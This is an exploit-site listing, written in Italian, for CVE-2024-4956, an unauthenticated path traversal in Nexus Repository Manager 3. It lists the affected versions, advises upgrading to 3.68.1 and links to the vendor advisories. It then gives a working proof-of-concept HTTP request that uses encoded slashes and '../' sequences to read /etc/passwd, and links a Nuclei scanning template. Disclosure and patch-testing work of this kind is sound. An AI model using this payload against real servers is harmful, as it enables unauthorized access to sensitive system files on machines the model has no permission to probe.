Sploitus

Exploit for CVE-2024-4956

kitploit · 2026-08-25

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GMH5225-CVE-2024-4956
# CVE-2024-4956 - Path Traversal non autenticato in Nexus Repository Manager 3

Nexus Repository Manager è un gestore di repository che organizza, memorizza e distribuisce gli artefatti necessari per lo sviluppo.

È stata scoperta una vulnerabilità di path traversal in Nexus Repository 3, nelle versioni precedenti alla 3.68.1. Questa vulnerabilità consente a un utente malintenzionato di creare un URL per scaricare file di sistema al di fuori dell'ambito dell'applicazione Nexus Repository, senza alcuna autenticazione. Ciò comporta un rischio significativo in quanto può esporre file di sistema sensibili e potenzialmente compromettere la sicurezza dell'ambiente in cui è installato Nexus Repository.

Si consiglia di aggiornare Nexus Repository alla versione 3.68.1 o successiva il prima possibile per mitigare questa vulnerabilità.

Per maggiori informazioni e dettagli tecnici sulla vulnerabilità, fare riferimento al seguente link:

Riferimenti:

  * https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16



## Versioni vulnerabili

La vulnerabilità riguarda le versioni dalla 3.0 alla 3.68.0 di Sonatype Nexus Repository Manager.

### Mitigazione:

L'aggiornamento di Nexus Repository è l'approccio consigliato per eliminare questa vulnerabilità. Tuttavia, sono disponibili opzioni di mitigazione immediata per le distribuzioni che non possono aggiornare immediatamente:

Riferimenti:

  * https://support.sonatype.com/hc/en-us/articles/29412417068819



## PoC

root@kitploit:~
    
    
    GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Connection: close
    Cache-Control: max-age=0
    

Con il PoC sopra, è possibile vedere l'accesso al file /etc/passwd:

![](https://assets.kitploit.com/production/public/readmes/25967/9d0e5381a2aa35b5fa4c5488d3768a406401a776b4f0f2e6367fc2a0f57413ab.png)

## Template Nuclei

(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml